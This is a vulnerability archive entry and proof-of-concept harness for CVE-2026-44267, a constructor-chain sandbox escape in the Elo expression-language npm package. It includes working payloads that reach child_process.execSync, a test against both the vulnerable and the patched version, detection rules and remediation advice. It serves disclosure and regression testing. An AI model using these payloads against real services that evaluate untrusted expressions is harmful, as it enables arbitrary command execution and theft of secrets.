PoC Archive PoC Archive
CVE-2026-44267 category: misc CVSS 9.8 (CRITICAL)
Patched

Elo Expression Language Sandbox Escape to Node.js Code Execution (CVE-2026-44267)

Published: 2026-11-25 • Researcher: Umair Aziz (umair-aziz025) — PoC; reported by ultra-supara (GHSA-33r5-xmm8-v6x5)

Target software @enspirit/elo npm package — Elo purely functional expression language, JavaScript compiler and CLI (bin/elo)
Affected versions Prior to 1.0.1 (vulnerable in 1.0.0 and earlier; fixed in 1.0.1). NVD lists no CPE/version ranges (products and version_ranges empty), so the upstream advisory is authoritative — see references.
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-44267 (GHSA-33r5-xmm8-v6x5)
Category
misc
Affected product
@enspirit/elo npm package — Elo purely functional expression language, JavaScript compiler and CLI (bin/elo)
Affected versions
Prior to 1.0.1 (vulnerable in 1.0.0 and earlier; fixed in 1.0.1). NVD lists no CPE/version ranges (products and version_ranges empty), so the upstream advisory is authoritative — see references.
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-04
Author / ResearcherUmair Aziz (umair-aziz025) — PoC; reported by ultra-supara (GHSA-33r5-xmm8-v6x5)
CVE / AdvisoryCVE-2026-44267 (GHSA-33r5-xmm8-v6x5)
Categorymisc
SeverityCritical
CVSS Score9.8 (CVSSv3.1; CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
TagsRCE, sandbox-escape, code-injection, nodejs, javascript, npm-library, constructor-chain, cwe-94, expression-language, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / System@enspirit/elo npm package — Elo purely functional expression language, JavaScript compiler and CLI (bin/elo)
Versions AffectedPrior to 1.0.1 (vulnerable in 1.0.0 and earlier; fixed in 1.0.1). NVD lists no CPE/version ranges (products and version_ranges empty), so the upstream advisory is authoritative — see references.
Language / PlatformJavaScript / Node.js 18+; also browser runtime (elo-lang.org/try playground)
Authentication RequiredNo
Network Access RequiredNo for the library/CLI path (local code evaluation); Yes only when a network-exposed service or the playground evaluates attacker-supplied expressions

Summary

CVE-2026-44267 is a code injection vulnerability in the Elo expression language package @enspirit/elo, which compiles domain expressions into JavaScript. Before version 1.0.1, the member access transform does not reject JavaScript meta-properties, the JavaScript compiler emits the surviving property names directly, and the parser accepts constructor as an ordinary identifier, so a plain expression string can walk from an object literal to the host Function constructor. The resulting generated JavaScript runs attacker-selected code in the host runtime: script execution and session compromise in the auto-running web playground, and arbitrary Node.js code execution wherever the library, CLI binary, or CI pipeline evaluates untrusted expressions. The included local PoC drives the constructor chain to execute fixed commands through the Node.js process and child process modules, and contrasts vulnerable 1.0.0 behavior with the 1.0.1 patch.

Vulnerability Details

Root Cause

Elo compiles an expression through parse() → AST → transform() (IR) → compileToJavaScript() → new Function(...). Three defects combine:

  • src/transform.ts (the member_access handler) does not reject JavaScript meta-property names, so .constructor, .prototype and related names survive transformation.
  • src/compilers/javascript.ts emits the surviving property name directly into generated JavaScript.
  • src/parser.ts accepts constructor as an ordinary identifier, so the string ({}).constructor.constructor(...) is a legal Elo expression.

Because the emitted code is wrapped in new Function('DateTime', 'Duration', 'Interval', \return ${jsCode};`), reaching the real Functionconstructor from inside an expression allows code to run in the host realm instead of Elo's expression scope. This plain-string path is distinct from the programmatic AST-object injection issue noted in the advisory. NVD assigns CWE-94, CWE-1336, CWE-693 and CWE-79; the upstream repository emphasizes CWE-94. The fix in 1.0.1 adds aFORBIDDEN_MEMBERS guard (constructor, proto, prototype, defineGetter, defineSetter, lookupGetter, lookupSetter`) in the member-access handler.

Attack Vector

An attacker supplies a plain Elo expression string to any entry point that evaluates untrusted input: defaultFormats.elo.parse(), the bin/elo CLI, or the auto-running elo-lang.org/try playground. The payload is an ordinary expression that walks the prototype chain, e.g. ({}).constructor.constructor('return 6 * 7')(). From there a second stage returns the Node.js process object via this.constructor.constructor('return process')() and loads child_process through process.mainModule.require('child_process') to run OS commands. No authentication, file upload, or network position beyond the expression input is required.

Impact

Arbitrary JavaScript execution in the host realm. On the browser playground this means script execution in the page origin and session compromise; on a Node.js library, CI job, or DevOps host it means arbitrary OS command execution as the process user, exposing secrets, source code, credentials and any reachable internal service. The upstream PoC demonstrates pwd, whoami, directory listing and a sub-shell directory change through the escaped compiler.

Environment / Lab Setup

Output
OS:          Linux / macOS / Windows with Node.js 18+ and npm
             (recorded evidence run: Windows, Node v22.16.0)
Target:      @enspirit/elo@1.0.0 (vulnerable) and @enspirit/elo@1.0.1 (patched),
             each installed by npm into its own temporary directory
Attacker:    Local operator running the harness; expressions are hardcoded
             constants, no command/target input is accepted
Tools:       node, npm (network access on the first run to fetch both versions)

Isolation warning: temporary directories are not a security sandbox — both probes can access the host OS. Run this only inside a disposable, low-privilege VM or container, never on a workstation or production host.

Setup Steps

Shell script
1
2
3
4
5
6
git clone https://github.com/umair-aziz025/CVE-2026-44267.git
cd CVE-2026-44267

node cve_2026_44267_lab.js

node cve_2026_44267_lab.js --out my_evidence.json

Proof of Concept

Step-by-Step Reproduction

  1. Prepare an isolated host — disposable container or VM with Node.js 18+ and npm; the harness installs packages and spawns child processes.
  2. Run the harness — node cve_2026_44267_lab.js. It creates a temp root with a workspace directory containing lab_marker.txt and a proof_dir, then runs npm install --ignore-scripts --no-save @enspirit/elo@<version> into separate folders for 1.0.0 and 1.0.1.
  3. Baseline check — each version evaluates 2 + 3 and must return 5, proving the compiler works before the escape test.
  4. Sandbox escape — the harness evaluates ({}).constructor.constructor('return 6 * 7')(). On 1.0.0 it returns 42, proving host Function execution.
  5. OS command proof — on 1.0.0, four fixed expressions reach process.mainModule.require('child_process').execSync(...) and run pwd, whoami, ls -1, cd proof_dir && pwd (Windows variants cd, whoami, dir /b, cd proof_dir && cd) inside the controlled workspace.
  6. Patch differential — the identical expressions on 1.0.1 are rejected at compile time with Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property.; the harness reports PASS when escape is reproduced on 1.0.0, blocked on 1.0.1, and every fixed command matched its expected output.
  7. Evidence — a JSON report is written (default cve_2026_44267_evidence.json) with host usernames and absolute paths redacted after assertions are computed.

Exploit Code

See cve_2026_44267_lab.js for the full harness and cve_2026_44267_evidence.json for the recorded run. Upstream documentation is in upstream-README.md.

JavaScript
1
2
3
4
5
6
// Stage 1 - sandbox escape proof (hardcoded lab constant in the harness)
({}).constructor.constructor('return 6 * 7')()   // => 42 on @enspirit/elo@1.0.0

// Stage 2 - host OS command route built by osProofExpression() for a fixed command
({}).constructor.constructor("return this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()")()
// => process user name on 1.0.0; compile-time "Forbidden Member" error on 1.0.1

The harness never reads commands, payloads, targets, or URLs from CLI arguments or the network; safeCommands() returns a fixed list and the expressions are generated locally.

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[+] Installing @enspirit/elo@1.0.0 in an isolated temporary directory...
[+] Testing vulnerable (1.0.0): sandbox escape + fixed OS commands...
    Constructor-chain proof => EXECUTED (returned 42)
    pwd => EXECUTED
      <LAB_WORKSPACE>
    whoami => EXECUTED
      <LOCAL_USER>
    ls -1 => EXECUTED
      lab_marker.txt
      proof_dir
    cd proof_dir && pwd => EXECUTED
      <LAB_WORKSPACE>/proof_dir

[+] Installing @enspirit/elo@1.0.1 in an isolated temporary directory...
[+] Testing patched (1.0.1): sandbox escape + fixed OS commands...
    Constructor-chain proof => REJECTED (Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property.)
    pwd => BLOCKED
    whoami => BLOCKED
    ls -1 => BLOCKED
    cd proof_dir && pwd => BLOCKED
[+] Evidence: ./cve_2026_44267_evidence.json
[+] Verdict: PASS
{
  "baselinesPass": true,
  "sandboxEscapeReproduced": true,
  "sandboxEscapeBlockedByPatch": true,
  "osExecutionReproduced": true,
  "osExecutionBlockedByPatch": true
}

The recorded upstream evidence is from a Windows / Node v22.16.0 run; on Linux the command list is pwd, whoami, ls -1, cd proof_dir && pwd.

Detection & Indicators of Compromise

  • Elo expressions or compiled payloads containing .constructor.constructor, .prototype, __proto__, return process, mainModule.require, child_process, or execSync — in playground requests, template bodies, API parameters, or application logs.
  • Post-patch compile errors containing Member access '.constructor' is forbidden indicate an attempted (blocked) exploit against 1.0.1+.
  • Dependency manifests/lockfiles pinning @enspirit/elo below 1.0.1, or CI jobs that install and evaluate expressions from untrusted sources.
  • Node.js processes that spawn sh -c, cmd.exe, whoami, pwd, or ls from a service whose normal behavior never forks a shell; unexpected child processes of a compiler/API worker.
  • Browser-side: playground/try pages executing expressions that fetch or beacon session data after rendering; CSP or Function-constructor violations reported to report-only endpoints.

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"Elo sandbox escape attempt (CVE-2026-44267)"; \
  content:"constructor.constructor"; http_client_body; \
  content:"mainModule.require"; http_client_body; sid:9004426;)
Output
1
2
process.parent.name == "node" and process.name in ("sh","bash","cmd.exe","powershell.exe")
  and process.args : ("whoami","pwd","ls","dir*","child_process*")

Remediation

ActionDetail
PatchUpgrade to @enspirit/elo@1.0.1 or later (npm install @enspirit/elo@1.0.1), regenerate the lockfile, and rebuild/redeploy every service and CLI image that embeds Elo; the fix adds the forbidden-member guard in the transform step.
WorkaroundDo not evaluate untrusted Elo expression strings. If that is unavoidable, reject any expression whose identifiers or member names include constructor, __proto__, prototype, or accessor helpers before calling parse()/compile(), and never pass untrusted expressions to the bin/elo CLI or the playground.
Config HardeningRun expression compilation in a low-privilege worker or container with no network and no access to child_process (drop capabilities, seccomp/AppArmor), keep the playground strictly sandboxed with a restrictive CSP, and treat expression evaluation as remote-code-execution-equivalent for trust boundaries.

References

Notes

Auto-ingested from https://github.com/umair-aziz025/CVE-2026-44267 on 2026-11-25.

Review verdict: ingested as a real local PoC. cve_2026_44267_lab.js does not merely audit — it executes the exploit primitives (constructor-chain escape returning 42, then four fixed OS commands through process.mainModule.require('child_process').execSync) against a locally installed vulnerable package, and then replays them against the patched version. The upstream file header itself describes it as a “single-file, local-only regression and OS-command PoC”. It was not rejected as a detector because the exploit code is present and runs.

Status is PoC rather than Weaponized: the harness accepts no attacker input, runs only a fixed list of harmless commands (pwd, whoami, ls, cd) in a temp workspace, is local-only, and provides no browser/HTTP or arbitrary-command exploit path. The archive did not execute the script (no code execution performed during ingestion); the recorded evidence JSON is the upstream Windows/Node v22.16.0 run and was not independently retested here. The differential comparison doubles as a regression check for the 1.0.1 fix, so the file is also useful as a patched/vulnerable oracle.

License: no LICENSE file and no license statement in the repository or package.json (only the in-file authorized-lab disclaimer), so the exploit source is archived with attribution for authorized security research only. package.json is the two-field project stub required by the CommonJS harness. The repository contains no .git, binaries, lockfiles, or credentials; only the three source/evidence files and the README were copied. Use only against systems you own or have written authorization to test.

cve_2026_44267_lab.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
#!/usr/bin/env node
/**
 * CVE-2026-44267 — single-file, local-only regression and OS-command PoC.
 *
 * Three stages:
 *  1. Reach the JavaScript Function constructor through an Elo expression.
 *  2. Confirm the boundary breach can execute a FIXED LIST of harmless OS
 *     commands (pwd, whoami, ls, and a child-shell cd) in a throwaway folder.
 *     Published JSON evidence redacts host usernames and absolute paths.
 *  3. Run the same expressions on 1.0.1 and assert that the patch rejects them.
 *
 * This script DOES NOT accept commands/payloads/targets from user input.
 * Run only inside a disposable, low-privilege VM or container; temporary
 * directories and child processes are not a security sandbox.
 *
 * Node.js 18+ and npm are required. npm needs network access on first run.
 */
'use strict';

const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const { spawnSync } = require('node:child_process');

const CVE = 'CVE-2026-44267';
const PACKAGE = '@enspirit/elo';
const VERSIONS = [
  { label: 'vulnerable', version: '1.0.0' },
  { label: 'patched', version: '1.0.1' },
];
const BASELINE = '2 + 3';
const SANDBOX_PROOF = "({}).constructor.constructor('return 6 * 7')()";
const RESULT_MARKER = '__ELO_CVE_RESULT__';
const INSTALL_TIMEOUT_MS = 120_000;
const PROBE_TIMEOUT_MS = 20_000;
const MAX_OUTPUT = 2048;

// All commands are intentionally fixed. Nothing is read from CLI arguments,
// user-controlled expressions or the network and forwarded to a shell.
function safeCommands() {
  if (process.platform === 'win32') {
    return [
      { label: 'cwd', shellCommand: 'cd', expectation: 'cwd' },
      { label: 'user', shellCommand: 'whoami', expectation: 'nonempty' },
      { label: 'files', shellCommand: 'dir /b', expectation: 'marker' },
      { label: 'cd', shellCommand: 'cd proof_dir && cd', expectation: 'subdir' },
    ];
  }
  return [
    { label: 'pwd', shellCommand: 'pwd', expectation: 'cwd' },
    { label: 'whoami', shellCommand: 'whoami', expectation: 'nonempty' },
    { label: 'ls', shellCommand: 'ls -1', expectation: 'marker' },
    { label: 'cd', shellCommand: 'cd proof_dir && pwd', expectation: 'subdir' },
  ];
}

function printHelp() {
  console.log(`${CVE} — Elo sandbox escape and local OS-command proof

Usage:
  node cve_2026_44267_lab.js [--out evidence.json]
  node cve_2026_44267_lab.js --help

Three stages:
  1. Sandbox escape: Elo constructor-chain expression returns 42.
  2. OS execution: the vulnerable Elo expression runs only fixed harmless
     commands (pwd, whoami, ls, cd) in a temporary, controlled folder.
  3. Patch check: the same expressions must fail on @enspirit/elo@1.0.1.

Requires Node 18+, npm, and network for package installation. Run inside
an isolated, disposable low-privilege VM/container. A temporary directory
alone is NOT a security sandbox. No arbitrary commands or URLs are accepted.`);
}

function escapeEloLiteral(value) {
  return value.replace(/\\/g, '\\\\').replace(/'/g, "\\'").replace(/\r/g, '\\r').replace(/\n/g, '\\n');
}

function osProofExpression(shellCommand) {
  // In the vulnerable version, the constructor chain reaches the host
  // Function constructor. The generated Function then obtains the Node.js
  // process and child_process API. The command is a hardcoded lab constant.
  // This exact route is documented in the upstream security advisory.
  const javascriptBody =
    "return this.constructor.constructor('return process')()" +
    ".mainModule.require('child_process')" +
    `.execSync(${JSON.stringify(shellCommand)}).toString()`;
  return `({}).constructor.constructor('${escapeEloLiteral(javascriptBody)}')()`;
}

function sample(value) {
  if (typeof value === 'string') return value.slice(0, MAX_OUTPUT);
  if (value === null || ['number', 'boolean'].includes(typeof value)) return value;
  return String(value).slice(0, MAX_OUTPUT);
}

function evaluate(eloModule, expression) {
  try {
    let value;
    if (typeof eloModule.compile === 'function') {
      const fn = eloModule.compile(expression);
      value = typeof fn === 'function' ? fn() : fn;
    } else if (eloModule.defaultFormats?.elo?.parse) {
      value = eloModule.defaultFormats.elo.parse(expression);
    } else {
      throw new Error('No supported evaluation method found on Elo module');
    }
    return { accepted: true, value: sample(value) };
  } catch (error) {
    return { accepted: false, error: `${error.name}: ${error.message}`.slice(0, 500) };
  }
}

function probe(packageRoot, requestedVersion, workspace) {
  const modulePath = path.join(packageRoot, 'node_modules', '@enspirit', 'elo');
  const manifest = JSON.parse(fs.readFileSync(path.join(modulePath, 'package.json'), 'utf8'));
  if (manifest.name !== PACKAGE || manifest.version !== requestedVersion) {
    throw new Error(`Package mismatch: expected ${PACKAGE}@${requestedVersion}`);
  }
  const eloModule = require(modulePath);
  const osCommands = safeCommands().map(({ label, shellCommand, expectation }) => ({
    label,
    shellCommand,
    expectation,
    result: evaluate(eloModule, osProofExpression(shellCommand)),
  }));
  return {
    version: manifest.version,
    workspace,
    baseline: evaluate(eloModule, BASELINE),
    sandboxEscape: evaluate(eloModule, SANDBOX_PROOF),
    osCommands,
  };
}

function run(command, args, options = {}) {
  const subprocess = spawnSync(command, args, {
    encoding: 'utf8',
    cwd: options.cwd,
    timeout: options.timeout || INSTALL_TIMEOUT_MS,
    maxBuffer: 1024 * 1024,
    windowsHide: true,
    shell: process.platform === 'win32' && command === 'npm.cmd',
    env: { ...process.env, npm_config_update_notifier: 'false' },
  });
  if (subprocess.error || subprocess.status !== 0) {
    const details = [subprocess.error?.message, subprocess.stderr, subprocess.stdout]
      .filter(Boolean).join('\n').trim().slice(-1200);
    throw new Error(`${command} failed (exit ${subprocess.status ?? 'unknown'}): ${details}`);
  }
  return subprocess.stdout;
}

function expectedValue(test, workspace) {
  if (!test.result.accepted || typeof test.result.value !== 'string') return false;
  const value = test.result.value.trim();
  switch (test.expectation) {
    case 'cwd':
      return path.normalize(value).toLowerCase() === path.normalize(workspace).toLowerCase();
    case 'subdir':
      return path.normalize(value).toLowerCase() === path.normalize(path.join(workspace, 'proof_dir')).toLowerCase();
    case 'marker':
      return value.split(/\r?\n/).includes('lab_marker.txt');
    case 'nonempty':
      return value.length > 0 && value.length < MAX_OUTPUT;
    default:
      return false;
  }
}


/**
 * Keep local OS evidence useful without committing host usernames and paths.
 * All PASS/FAIL assertions are computed on the original, unredacted values.
 */
function redactPublicEvidence(report, workspace) {
  const copy = JSON.parse(JSON.stringify(report));
  const privateRoot = path.dirname(workspace);
  const personalPaths = [workspace, privateRoot, os.homedir(), process.env.USERPROFILE, process.env.HOME]
    .filter(v => typeof v === 'string' && v.length > 2)
    .sort((a, b) => b.length - a.length);
  let localUser = '';
  try { localUser = os.userInfo().username; } catch { /* Some restricted runtimes omit this. */ }

  function scrub(text) {
    if (typeof text !== 'string') return text;
    let result = text;
    for (const privatePath of personalPaths) {
      for (const variant of new Set([
        privatePath,
        privatePath.replace(/\\/g, '/'),
        privatePath.replace(/\//g, '\\'),
      ])) {
        result = result.split(variant).join('<REDACTED_PATH>');
      }
    }
    if (localUser && localUser.length >= 3) {
      result = result.split(localUser).join('<LOCAL_USER>');
    }
    return result;
  }

  for (const run of copy.tests || []) {
    run.workspace = '<LAB_WORKSPACE>';
    for (const test of run.osCommands || []) {
      const raw = test.result;
      if (raw.accepted && typeof raw.value === 'string') {
        raw.matchesExpectedOutput = expectedValue(test, workspace);
        // Preserve the actual accept/reject result while hiding private host details.
        if (test.expectation === 'cwd') raw.value = '<LAB_WORKSPACE>';
        else if (test.expectation === 'subdir') raw.value = '<LAB_WORKSPACE>/proof_dir';
        else if (test.expectation === 'nonempty') raw.value = '<LOCAL_USER>';
        else raw.value = scrub(raw.value);
      }
      if (typeof raw.error === 'string') raw.error = scrub(raw.error);
    }
    if (run.baseline && typeof run.baseline.error === 'string')
      run.baseline.error = scrub(run.baseline.error);
    if (run.sandboxEscape && typeof run.sandboxEscape.error === 'string')
      run.sandboxEscape.error = scrub(run.sandboxEscape.error);
  }
  if (typeof copy.error === 'string') copy.error = scrub(copy.error);
  copy.privacy = {
    redacted: true,
    details: 'Host usernames and working-directory paths are redacted in published JSON. PASS/FAIL assertions are computed before redaction.',
  };
  return copy;
}

function main() {
  const args = process.argv.slice(2);
  if (args.includes('--help') || args.includes('-h')) { printHelp(); return; }
  if (args[0] === '--probe') {
    if (args.length !== 4) throw new Error('Invalid internal probe arguments');
    process.stdout.write(RESULT_MARKER + JSON.stringify(probe(args[1], args[2], args[3])) + '\n');
    return;
  }
  if (args.length > 2 || (args.length && (args[0] !== '--out' || !args[1]))) {
    throw new Error('Unknown arguments. Run with --help for usage.');
  }

  const output = path.resolve(args[1] || 'cve_2026_44267_evidence.json');
  const root = fs.mkdtempSync(path.join(os.tmpdir(), 'elo-cve-44267-'));
  const workspace = path.join(root, 'workspace');
  fs.mkdirSync(workspace);
  fs.mkdirSync(path.join(workspace, 'proof_dir'));
  fs.writeFileSync(path.join(workspace, 'lab_marker.txt'), 'Local CVE-2026-44267 demonstration only\n');

  const report = {
    cve: CVE,
    advisory: 'https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5',
    timestampUtc: new Date().toISOString(),
    runtime: { node: process.version, platform: process.platform },
    scope: 'Local vulnerable/patched npm packages, fixed benign OS commands, controlled workspace',
    input: {
      baseline: BASELINE,
      sandboxEscape: SANDBOX_PROOF,
      osProofCommands: safeCommands(),
    },
    tests: [],
    verdict: 'INCOMPLETE',
  };

  try {
    for (const item of VERSIONS) {
      console.log(`[+] Installing ${PACKAGE}@${item.version} in an isolated temporary directory...`);
      const folder = path.join(root, item.label);
      fs.mkdirSync(folder);
      const npmCommand = process.platform === 'win32' ? 'npm.cmd' : 'npm';
      run(npmCommand, ['install', '--prefix', folder, '--no-save', '--ignore-scripts',
        '--no-audit', '--no-fund', '--package-lock=false', `${PACKAGE}@${item.version}`]);
      console.log(`[+] Testing ${item.label} (${item.version}): sandbox escape + fixed OS commands...`);
      const stdout = run(process.execPath, [__filename, '--probe', folder, item.version, workspace],
        { timeout: PROBE_TIMEOUT_MS, cwd: workspace });
      const line = stdout.split(/\r?\n/).find(s => s.startsWith(RESULT_MARKER));
      if (!line) throw new Error(`Missing JSON result from ${item.label} probe`);
      const result = { label: item.label, ...JSON.parse(line.slice(RESULT_MARKER.length)) };
      report.tests.push(result);
      const sandboxStatus = result.sandboxEscape.accepted
        ? `EXECUTED (returned ${JSON.stringify(result.sandboxEscape.value)})`
        : `REJECTED (${result.sandboxEscape.error})`;
      console.log(`    Constructor-chain proof => ${sandboxStatus}`);
      for (const test of result.osCommands) {
        const output = test.result.accepted
          ? String(test.result.value).trim().slice(0, 500)
          : String(test.result.error).slice(0, 130);
        console.log(`    ${test.shellCommand} => ${test.result.accepted ? 'EXECUTED' : 'BLOCKED'}`);
        console.log(output.split('\n').map(line => '      ' + line).join('\n'));
      }
    }

    const vulnerable = report.tests.find(t => t.label === 'vulnerable');
    const patched = report.tests.find(t => t.label === 'patched');
    const sameOsCases = vulnerable.osCommands.length === patched.osCommands.length &&
      vulnerable.osCommands.every((t, i) => t.label === patched.osCommands[i].label);

    report.assertions = {
      baselinesPass: [vulnerable, patched].every(t =>
        t.baseline.accepted && t.baseline.value === 5),
      sandboxEscapeReproduced: vulnerable.sandboxEscape.accepted &&
        vulnerable.sandboxEscape.value === 42,
      sandboxEscapeBlockedByPatch: !patched.sandboxEscape.accepted,
      osExecutionReproduced: vulnerable.osCommands.length === 4 &&
        vulnerable.osCommands.every(t => expectedValue(t, workspace)),
      osExecutionBlockedByPatch: sameOsCases &&
        patched.osCommands.every(t => !t.result.accepted),
    };
    report.verdict = Object.values(report.assertions).every(Boolean) ? 'PASS' : 'FAIL';
  } catch (error) {
    report.error = error.message;
    console.error(`[!] ${error.message}`);
  } finally {
    fs.rmSync(root, { recursive: true, force: true });
    fs.writeFileSync(output, JSON.stringify(redactPublicEvidence(report, workspace), null, 2) + '\n', 'utf8');
    console.log(`[+] Evidence: ${output}`);
    console.log(`[+] Verdict: ${report.verdict}`);
    if (report.assertions) console.log(JSON.stringify(report.assertions, null, 2));
    if (report.verdict !== 'PASS') process.exitCode = 1;
  }
}

try { main(); } catch (error) { console.error(`[!] ${error.message}`); process.exitCode = 1; }